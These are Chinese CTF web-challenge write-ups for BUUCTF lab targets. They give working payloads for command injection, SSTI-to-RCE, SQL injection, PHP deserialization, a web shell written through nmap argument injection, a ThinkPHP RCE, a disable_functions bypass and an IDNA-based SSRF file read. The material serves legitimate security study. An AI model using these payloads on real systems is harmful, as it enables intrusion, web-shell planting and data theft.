[网鼎杯 2018]Fakebook

解题方法

上传图片马,修改后缀为phtml之后连接蚁剑

[强网杯 2019]高明的黑客

审计代码

拷贝下源码后发现有3000份文件,审计文件代码发现代码非常混乱

仔细观察可以看到代码中存在非常多的$_GET以及$_POST,以及命令执行函数

$_GET['xd0UXc39w'] = ' ';
assert($_GET['xd0UXc39w'] ?? ' ');

但基本都如上段代码一样无法利用

解题思路

0x00 先测试源码包中是否存在可以执行命令的点

0x01 代码量过大,脚本执行时间可能会过长,开启多线程

解题方法

# encoding: utf-8

import os
import requests
from concurrent.futures.thread import ThreadPoolExecutor

url = "http://localhost/CTF/BUUCTF/SmartHacker/src/"
path = "/Applications/XAMPP/xamppfiles/htdocs/CTF/BUUCTF/SmartHacker/src/"
files = os.listdir(path)
pool = ThreadPoolExecutor(max_workers=5)


def read_file(file):
    str = open(path + "/" + file, 'r').read()

    # catch GET
    start = 0
    params = {}
    while str.find("$_GET['", start) != -1:
        pos2 = str.find("']", str.find("$_GET['", start) + 1)
        var = str[str.find("$_GET['", start) + 7: pos2]
        start = pos2 + 1

        params[var] = 'print "get---";'

    # catch POST
    start = 0
    data = {}
    while str.find("$_POST['", start) != -1:
        pos2 = str.find("']", str.find("$_POST['", start) + 1)
        var = str[str.find("$_POST['", start) + 8: pos2]
        start = pos2 + 1

        data[var] = 'print post---;'

    # eval assert
    r = requests.post(url + file, data=data, params=params)
    if 'get---' in r.text:
        print(file, "found!A!get method")
    elif 'post---' in r.text:
        print(file, "found!A!post method")

    # system
    for i in params:
        params[i] = 'echo get---;'

    for i in data:
        data[i] = 'echo post---;'

    r = requests.post(url + file, data=data, params=params)
    if 'get---' in r.text:
        print(file, "found!B!get method")
    elif 'post---' in r.text:
        print(file, "found!B!post method")


if __name__ == '__main__':

    for file in files:
        if not os.path.isdir(file):
            pool.submit(read_file, file)

脚本结果

xk0SzyKwfzw.php found!B!get method

xk0SzyKwfzw.php$_GETsystem()结合的命令执行漏洞

审计代码

搜索xk0SzyKwfzw.php中的$_GET全局变量,在line 300发此现漏洞

$XnEGfa = $_GET['Efa5BVG'] ?? ' ';
$aYunX = "sY";
$aYunX .= "stEmXnsTcx";
$aYunX = explode('Xn', $aYunX);
$kDxfM = new stdClass();
$kDxfM->gHht = $aYunX[0];
($kDxfM->gHht)($XnEGfa);
payload: /xk0SzyKwfzw.php?Efa5BVG=cat%20/flag 

(未完成)[极客大挑战 2019]BuyFlag

解题方法

查看源码,访问pay.php并开启burp进行抓包

请求头发现Cookie: user=0,值修改为1;响应体中存在后台代码和提示

代码审计

Flag need your 100000000 money
~~~post money and password~~~
if (isset($_POST['password'])) {
    $password = $_POST['password'];
    if (is_numeric($password)) {
        echo "password can't be number</br>";
    }elseif ($password == 404) {
        echo "Password Right!</br>";
    }
}

0x00 password设置%00截断绕过is_numeric

0x01 money=100000000

构造payload

[ACTF2020 新生赛]BackupFile

解题方法

文件扫描

python3 dirsearch.py -u http://f1658aa4-f3d6-4a32-8f19-7364b8a64e13.node3.buuoj.cn/ -e php

image-20200727201101600

代码审计

<?php
include "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

解题思路

0x00 is_numeric() -> key为纯数字字符串

0x01 intval($key) == $str -> 数字key与str弱相等

解题方法

/?key=123

php数字和字符串弱比较

字符串和数字进行比较时,若字符串头部为数字,则转换为相应数字;若无,则为0

<?php

$str1 = "abc";
$str2 = "4bc";

if ($str1 == 0)
    echo "str1 = 0";

if ($str2 == 4)
    echo "str2 = 4";

[ACTF2020 新生赛]Upload

解题方法

上传图片马之后修改图片后缀为html,蚁剑连接

[ZJCTF 2019]NiZhuanSiWei

代码审计

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ //a
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php //b
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

解题思路

0x00 利用php://datephp://input绕过file_get_contents

0x01 include文件包含漏洞利用php://filter读取useless.php的源码

0x02 利用反序列化漏洞

解题方法

构造payload?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=或者利用burpsuite结合php://input的方法绕过a处

image-20200728155621286

如果使用php://input必须使用burpsuite,因为hackbar不对无参数名的值进行处理

构造payload/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php之后base64解码获得unless.php源码

<?php
class Flag{  //flag.php
    public $file;
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}
?>

构造脚本获取序列化值

class Flag{ 
    public $file = 'flag.php';
}
echo urlencode(serialize(new Flag()));
O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D

此时要修改file值为unless.php,使得b处可以正确的包含文件,综合三个payload即可

/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A

php://input & php://data

  • php://input伪协议

    需要 allow_url_include 为 on ,可以访问请求的原始数据的只读流, 将post请求中的数据作为php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input ,同时post自定义文件内容,php执行时会将post内容当作文件内容

  • php://data伪协议

    作用于input相似,可以加上 base64 编码

[BJDCTF2020]Easy MD5

题目提示

F12查看响应头

Hint: select * from 'admin' where password=md5($pass,true)

解题方法

image-20200728110619421

实验吧原题,令$pass = ffifdyop其原始二进制为'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c

此时sql语句如下

$sql = "SELECT * FROM admin WHERE password = ''or'6�]��!r,��b'";

在mysql中两个字符串参与布尔判断时若字符串为’[int]XXXX’ 且 [int]>0 则为true,若为’XXXX’ 或 [int]==0 则为false

跳转到/levels91.php

代码审计

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->

构造/levels91.php?a[]=1&b[]=2即可,原理是因为MD5函数不能处理数组,默认返回null

代码审计

 <?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
} 

param1[]=1&param2[]=2不详述

[BJDCTF 2nd]fake google

题目提示

访问/qaq?name=查看源码后得知输入点存在ssti模板注入

<!--ssssssti & a little trick -->

解题思路

0x00 利用变量包裹标识符进行ssti

0x01 沙箱逃逸 & rce

解题方法

/qaq?name={{().__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__['eval']("__import__('os').popen('cat ../flag').read()")}}

另类解题方法

> python tplmap.py -u 'http://url/qaq?name=' --os-shell
    ...
  GET parameter: name
  Engine: Jinja2
  Injection: {{*}}
  Context: text
  OS: posix-linux
  Technique: render
  Capabilities:

   Shell command execution: ok
   Bind and reverse shell: ok
   File write: ok
   File read: ok
   Code evaluation: ok, python code

[+] Run commands on the operating system.
posix-linux $ cat /flag

SSTI

模板注入与我们熟知的SQL注入、命令注入等原理大同小异。变量包裹标识符,在渲染的时候会把包裹的内容当做变量解析替换。比如1+1会被解析成2;黑客利用这点输入恶意数据,程序没有对其进行合理处理,而是直接拼接为程序的一部分,最终导致程序执行非预期行为

沙箱逃逸

内建函数

当启动一个python解释器时,即使没有创建任何变量或函数,还是会有很多函数可以使用,这就是内建函数

内建函数在启动python解释器时,就已导入到内存中,想要了解这里的工作原理,要从名称空间开始

名称空间在python是个非常重要的概念,它是从名称到对象的映射,而在python程序的执行过程中,至少会存在两个名称空间

内建名称空间:python自带的名字,在python解释器启动时产生,存放一些python内置的名字

全局名称空间:在执行文件时,存放文件级别定义的名字

局部名称空间(可能不存在):在执行文件的过程中,如果调用了函数,则会产生该函数的名称空间,用来存放该函数内定义的名字,该名字在函数调用时生效,调用结束后失效

内建名称空间是名字到内建对象的映射,在python中,初始的builtins模块提供内建名称空间到内建对象的映射,在某些特定类的内建函数列表中存在诸如eval之类的命令执行函数,为逃逸提供条件

查看初始模块,发现__builtins__是做为默认初始模块出现

>>> dir()
['__builtins__', '__doc__', '__name__', '__package__']

查看builtins模块下的内建名称

>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '_', '__debug__', '__doc__', '__import__', '__name__', '__package__', 'abs', 'all', 'any', 'apply', 'basestring', 'bin', 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', 'vars', 'xrange', 'zip']

类继承

python中变量应用class方法可以从变量实例转换到对应的对象类型,类有以下三种关于继承关系的方法

__base__ //对象的一个基类,一般情况下是object,有时不是,这时需要使用下一个方法

__mro__ //同样可以获取对象的基类,只是这时会显示出整个继承链的关系,是一个列表,object在最底层故在列表中的最后,通过__mro__[-1]可以获取到

__subclasses__() //继承此对象的子类,返回一个列表

有这些类继承的方法,就可以实现从任何一个变量,回溯到基类后,再获得到此基类所有实现的类

__globals__ & __init__

  • __globals__ 该属性是函数特有的属性,用于记录当前文件全局变量的值
  • __init__方法用于将对象实例化,在这个函数下可以通过__globals__查看全局变量

逃逸链

变量 -> 对象 -> 基类 -> 子类遍历 -> 全局变量 -> 命令执行

()(变量).__class__(对象).__bases__[0](基类).__subclasses__()[169](warnings.catch_warnings子类含有eval).__init__(初始化).__globals__(遍历全局变量).__builtins__['eval'](eval内置命令执行函数)("__import__('os').popen('cat ../flag').read()")(os.popen().read()打开文件并回显内容)

[RoarCTF 2019]Easy Java

点击 help,跳转到/Download?filename=help.docx,存在任意文件读取漏洞

java.io.FileNotFoundException:{help.docx} // 界面回显

此时读取文件失败,修改请求方法为 post

filename=/WEB-INF/web.xml

...
        // 敏感信息
    <servlet>
        <servlet-name>FlagController</servlet-name>
        <servlet-class>com.wm.ctf.FlagController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>FlagController</servlet-name>
        <url-pattern>/Flag</url-pattern>
    </servlet-mapping>

...

简述 servlet 的 url-pattern 匹配

上述信息中<servlet>首先配置声明一个 servlet,其中包括 servlet 名字以及其对应类名

<servlet-mapping>声明与该 servlet 相应的匹配规则,每个<url-pattern> 代表一个匹配规则

当浏览器发起一个url请求后,该请求发送到servlet容器的时候,容器先会将请求的url减去当前应用上下文的路径作为 servlet 的映射 url,剩下的部分拿来做servlet的映射匹配

filename=/WEB-INF/classes/com/wm/ctf/FlagController.class

下载文件进行反汇编

import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet(name = "FlagController")
public class FlagController extends HttpServlet {
  String flag = "ZmxhZ3s1ZTNhNzBjMS0xNzk2LTRmNmQtODUyOC05ZmE1MzYzOGNhZTV9Cg==";

  protected void doGet(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException {
    PrintWriter printWriter = paramHttpServletResponse.getWriter();
    printWriter.print("<h1>Flag is nearby ~ Come on! ! !</h1>");
  }
}

什么是WEB-INF & WEB-INF重要目录和文件

WEB-INF 是 JavaWeb 的安全目录,所谓安全就是客户端无法访问,只有服务端可以访问的目录

  • /WEB-INF/web.xml

    Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则

  • /WEB-INF/classes/

    包含站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中

  • /WEB-INF/lib/

    存放 web 应用需要的各种 JAR 文件

  • /WEB-INF/src/

    源码目录,按照包名结构放置各个java文件

  • /WEB-INF/database.properties

    数据库配置文件

[极客大挑战 2019]HardSQL

解题方法

简单测试后可以判断存在过滤,fuzz后决定采用updatexml报错注入

image-20200728164134048

查看数据表名

/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=1

查看密码,发现flag不全

/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=1

使用right(str, length)查看右半部分

/check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,30)))from(H4rDsq1)),0x7e),1))%23&password=1

[BUUCTF 2018]Online Tool

代码审计

<?php
--- a
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
--- b
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    $host = escapeshellcmd($host);
--- c  
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox);
    chdir($sandbox);
--- d
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
--- e

解题思路

0x00 a-b & c-d区域代码意义不大,仅仅是为用户建立一个专属文件夹

0x01 b-c区域中escapeshellarg先与escapeshellcmd使用会产生参数绕过

0x02 绕过 b-c区域的恶意代码在d-e区域进行拼接从而实现rce

解题方法

构造一句话并写入文件,nmap-oN参数将查询结果写入文件

' <?php eval($_POST[cmd]);?> -oN shell.php '

经过escapeshellarg()后payload变换,考虑读者方便理解,用tab进行分割

''    \'    ' <?php eval($_POST[cmd]);?> -oN shell.php '    \'    ''

经过escapeshellcmd()后payload再次变换

''    \\    ''    \<\?php eval\($_POST\[cmd\]\)\;\?\> -oN shell.php  '     \\    '  '    '

对以上payload进行简化便于阅读**(单个非转义反斜杠可以忽略,稍后解释)**

<?php eval($_POST[cmd]);?> -oN shell.php

因此最终payload为?host=' <?php eval($_POST[cmd]);?> -oN shell.php ',稍等数秒后回显sandbox位置为4cf0a91xxx

蚁剑连接http://url/4cf0a91xxx/shell.php文件即可

套路模板

只需在原有payload的基础上用单引号包裹即可绕过b-c区域代码

escapeshellarg() & escapeshellcmd()

  • escapeshellarg()

    给字符串增加一对单引号并且转义已经存在单引号,以确保能够直接将字符串传入shell函数,shell函数包含 exec(), system() ,反引号

    # 为了结果直观,结果用\t分割了每个区间
    echo escapeshellarg("i'm a hacker");     'i'    \'    'm a hacker'
    echo escapeshellarg("i am a hacker");    'i am a hacker'
    echo escapeshellarg("i''m a hacker");    'i'    \'    ''    \'    'm a hacker'
    echo escapeshellarg("'i am a hacker'");  ''    \'    'i am a hacker'    \'    ''
  • escapeshellcmd()

    对字符串中可能会欺骗shell命令执行任意命令的字符进行转义。 此函数保证输入的数据在传送到exec()或 system()函数,或者执行操作符之前进行转义。反斜线会在以下字符之前插入: &#;`|*?~<>^()[]{}$, \x0A\xFF 仅在不配对儿的时候被转义。在 Windows 平台上,所有这些字符以及 %! 字符都会被空格代替

    # 为了结果直观,结果用\t分割了每个区间
    echo escapeshellcmd("<?php echo 'hacker';?>"); <    \?    php echo 'hacker'        \;    \?    \>
    echo escapeshellcmd("i'm a hacker");           i    \'    m a hacker

Linux 反斜杠续行符

Linux中单个反斜杠可以表示续行之意,不影响命令执行

> p\           
> i\
> n\
> g\
>  \
> 127.0.0.1
PING 127.0.0.1 (127.0.0.1): 56 data bytes

机器执行命令时遇到\会继续执行,所以先前escapeshellcmd中的反斜杠可以无视

p\in\g 127.\0\.\0.1                     
PING 127.0.0.1 (127.0.0.1): 56 data bytes

巧用反斜杠续行符还可以出其不意的绕过一些waf

[GXYCTF2019]BabySQli

解题方法

开启burp抓包并输入name=admin&pw=1简单测试,回显如下

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>Do you know who am I?</title>

wrong pass!

证明存在admin用户

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5仅有大写字母和数字,进行base32解密得到c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==在进行base64解密得到

select * from user where username = '$name'

简单猜测后台逻辑

$result = select * from user where username = '$name';
if ($result[1] === 'admin') {
  if ($result[2] === md5($pw))
      yes
  else 
        wrong pass
} else {
  wrong user
}

利用union select特性

# 临时建立测试表
mysql> select * from user where username = 'admin' union select 1,2,3;
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
|  1 | admin    | 4dmin  |
|  1 | 2        | 3      |
+----+----------+--------+
2 rows in set (0.00 sec)

mysql> select * from user where username = '' union select 1,'admin',3;
+----+----------+--------+
| id | username | passwd |
+----+----------+--------+
|  1 | admin    | 3      |
+----+----------+--------+
1 row in set (0.00 sec)

构造最终payloadname=' union select 1,'admin','eccbc87e4b5ce2fe28308fd9f2a7baf3'#&pw=3

(未完成)[De1CTF 2019]SSRF Me

[网鼎杯 2020 青龙组]AreUSerialz

代码审计

 <?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

0x00 先找反序列化输入点,发现存在is_valid校验

0x01 is_valid限制输入必须为可见字符,但protect类型存在\00空字符;利用PHP7.1以上版本对属性类型不敏感特性使用public绕过

0x02 反序列过程中一开始进入__destruct,如果op值与"2"强相等就会改成"1"从而执行写方法,用整型2绕过

0x03 读操作是filename设置为flag.php

0x04 __construct中变量为局部变量,不会影响属性值

解题方法

<?php
class FileHandler {
    public $op = 2;
    public $filename = "flag.php";
}
echo serialize(new FileHandler());
?>
O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";}

构造payload?str=O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";}

php序列化 & 反序列化时代码走向

一个普通的实例会从__construct开始,最后到__destruct销毁;查阅php manual可以了解到: 不论何时,只要有实例需要被serialize序列化,将不会调用 __destruct()或有其他影响,除非程序化地调用此方法;当数据被unserialize反序列化时,类将被感知并且调用合适的方法而不是调用__construct,本题中反序列化后调用的函数为__destruct

反序列化中的protect,private以及public三种属性

<?php
class FileHandler {
    private $op = 2;
    protected $filename = "flag.php";
    public $content = "abc";
}
echo serialize(new FileHandler());
?>
O:11:"FileHandler":3:{s:15:"\00FileHandler\00op";i:2;s:11:"\00*\00filename";s:8:"flag.php";s:7:"content";s:3:"abc";}
  • private变量会在变量名前加\00类名\00
  • protect变量会在变量名前加\00*\00
  • public变量不加前缀

php反序列化数据完整性所触发的bug

这题在本地测试时发现一个好玩的地方,输入?str=O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";}并不会回显flag

image-20200731110303747

但删除部分payload后回显flag

image-20200731110448934

原因是因为正确的和存在错误的反序列化数据会导致读文件的时候工作目录不一样,此处错误数据读的是相对路径,完整数据读绝对路径

修改filename为绝对路径,之后构造payload进行测试

public  $filename = "/Library/WebServer/Documents/BuuCTF/AreUSerialz/flag.php";

image-20200731110748339

[BJDCTF 2nd]old-hack

题目提示

Powered By THINKPHP5

解题方法

访问s=1,根据报错查看ThinkPHP版本号(不清楚此题原理)

THINK_VERSION    5.0.23

查询此版本RCE漏洞,根据PoC构造payload_method=__construct&filter[]=system&method=get&get[]=cat /flag

[GYCTF2020]Blacklist

解题方法

题目与[强网杯 2019]随便注非常相似,且同样可以进行堆叠注入,直接进行相同操作

在输入?inject=' union select 1,2%23后回显与之前有所不同

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

之前的解题方法一个是使用rename进行更名操作,另一个是使用setprepare进行预处理;很显然此时都以及被过滤

handler命令并没有被过滤,可以使用它来进行数据查询

?inject='; handler FlagHere open; handler FlagHere read first; handler FlagHere close;%23

HANDLER statement

HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

HANDLER语句提供对表存储引擎接口的直接访问

HANDLER ... OPEN语句将打开一个表,使其可以使用后续HANDLER ... READ语句进行访问。在会话调用HANDLER ... CLOSE或会话终止之前不会关闭;它具有与SELECT语句相同的语法

(未完成)[0CTF 2016]piapiapia

(未完成)[GXYCTF2019]禁止套娃

解题方法

dirsearch扫描目录,证明存在.git泄露,使用Githack还原源码

cat 20-07-31_17-17-24 | grep -w "200"      
200   240B   http://a45ced04-e5ff-468c-abad-a25f273a2997.node3.buuoj.cn:80/.git/info/exclude
200    92B   http://a45ced04-e5ff-468c-abad-a25f273a2997.node3.buuoj.cn:80/.git/config
200   150B   http://a45ced04-e5ff-468c-abad-a25f273a2997.node3.buuoj.cn:80/.git/logs/refs/heads/master
200   137B   http://a45ced04-e5ff-468c-abad-a25f273a2997.node3.buuoj.cn:80/.git/index
200    23B   http://a45ced04-e5ff-468c-abad-a25f273a2997.node3.buuoj.cn:80/index.php

[GKCTF2020]CheckIN

代码审计

 <title>Check_In</title>
<?php 
highlight_file(__FILE__);
class ClassName
{
        public $code = null;
        public $decode = null;
        function __construct()
        {
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }

        public function x()
        {
                return $_REQUEST;
        }
}
new ClassName(); 

0x00 获取参数Ginkgo

0x01 base64_decode解码Ginkgo

0x02 命令执行

解题方法

?Ginkgo=cGhwaW5mbygpOw==(此处利用hackbar进行base64加密很方便)查看phpinfo,版本是php 7.3

查看FLAG环境变量,并不存在值

FLAG     flag_not_here 

查看disable_functions禁止了很多命令执行函数,可以利用LD_PRELOAD进行bypass

?Ginkgo=ZXZhbCgkX1BPU1RbY21kXSk7设置后门之后蚁剑连接,在根目录下发现flag以及readflagflag无法直接读取,要通过执行readflag

解题思路

利用LD_PRELOAD进行bypass之后使用命令执行函数执行readflag读取flag文件

php 7.0 - 7.3有特定版本的bypass PoC[PHP 7.0-7.3 disable_functions bypass PoC (*nix only)],修改文件中pwn()

pwn("/readflag");

php7-gc-bypass.php上传至/tmp,因为/tmp一般都是上传文件的突破口

index.php利用include()包含bypass文件?Ginkgo=aW5jbHVkZSgnL3RtcC9waHA3LWdjLWJ5cGFzcy5waHAnKTs=

操作细节

eval()中的代码一定要有;结尾

Pythonginx

题目源码

<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <form method="GET" action="getUrl">
        URL:<input type="text" name="url"/>
        <input type="submit" value="Submit"/>
    </form>

    <code>

        @app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))//a
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"
    </code>
    <!-- Dont worry about the suctf.cc. Go on! -->
    <!-- Do you know the nginx? -->
</body>
</html>

如果对之前Black Hat USA 2019中的HostSplit有了解,并且知道提示是表达什么鬼提示,这题非常简单

题目提示

Do you know the nginx?,读取nginx配置文件,得知flag文件目录

nginx手动安装位置一般为/usr/local/nginx/,配置文件自然在/usr/local/nginx/conf/nginx.conf

Dont worry about the suctf.cc. Go on!suctf.cc没什么影响,利用file://读取nginx配置文件

代码审计

url的域名进行检测,不能为suctf.cc,之后再对域名进行a行操作,如果为suctf.cc,读取url

IDN运行原理

国际化域名由Unicode编译,在域名系统中,以ASCII字符串存储

IDN运行过程

  • Unicode进行字符标准化

  • punycode转写为ASCII

Q.What happens if we perform ToASCII against this?

https://evil.c℆.Example.com

**A.It normalizes to **https://evil.cc/u.Example.com

A.It’s all ASCII now, no need to punycode anything

这个步骤就是a行代码的功能

>>> a = "℆"
>>> b = a.encode('idna').decode('utf-8')
>>> b
'c/u'

结合之前的提示

payload

file://suctf.c℆sr/local/nginx/conf/nginx.conf

return

server {
    listen 80;
    location / {
        try_files $uri @app;
    }
    location @app {
        include uwsgi_params;
        uwsgi_pass unix:///tmp/uwsgi.sock;
    }
    location /static {
        alias /app/static;
    }
    # location /flag {
    #     alias /usr/fffffflag;
    # }
}

payload

file://suctf.c℆sr/fffffflag

return

SUCTF{67cc389fc00bd1e9db2956f3e46f74ad}

符号是直接从Black Hat USA 2019的ppt上复制的,也可以用脚本直接爆破c

提一个知识点

chr()

某教程的描述

chr() 用一个范围在 range(256)内的(就是0~255)整数作参数,返回一个对应的字符

python文档的描述

poc

>>> chr(10000)
'✐'
>>> >>> chr(10001)
'✑'
>>> chr(10002)
'✒'
>>> chr(1000000890)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ValueError: chr() arg not in range(0x110000)

结论

有疑问就翻阅文档,屏蔽某些误人子弟的信息来源

exp

from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse


def get_unicode():
    for x in range(65536):
        uni = chr(x)
        url = "http://suctf.c{}".format(uni)
        try:
            if getUrl(url):
                print("str:",uni,'unicode:',x)
        except:
            pass



def getUrl(url):
    url = url
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return False
    parts = list(urlsplit(url))
    host = parts[ 1 ]
    if host == 'suctf.cc':
        return False
    newhost = [ ]
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[ 1 ] = '.'.join(newhost)
    finalUrl = urlunsplit(parts).split(' ')[ 0 ]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True
    else:
        return False


if __name__=="__main__":
    get_unicode()


str: ℂ unicode: 8450
str: ℭ unicode: 8493
str: Ⅽ unicode: 8557
str: ⅽ unicode: 8573
str: Ⓒ unicode: 9400
str: ⓒ unicode: 9426
str: C unicode: 65315
str: c unicode: 65347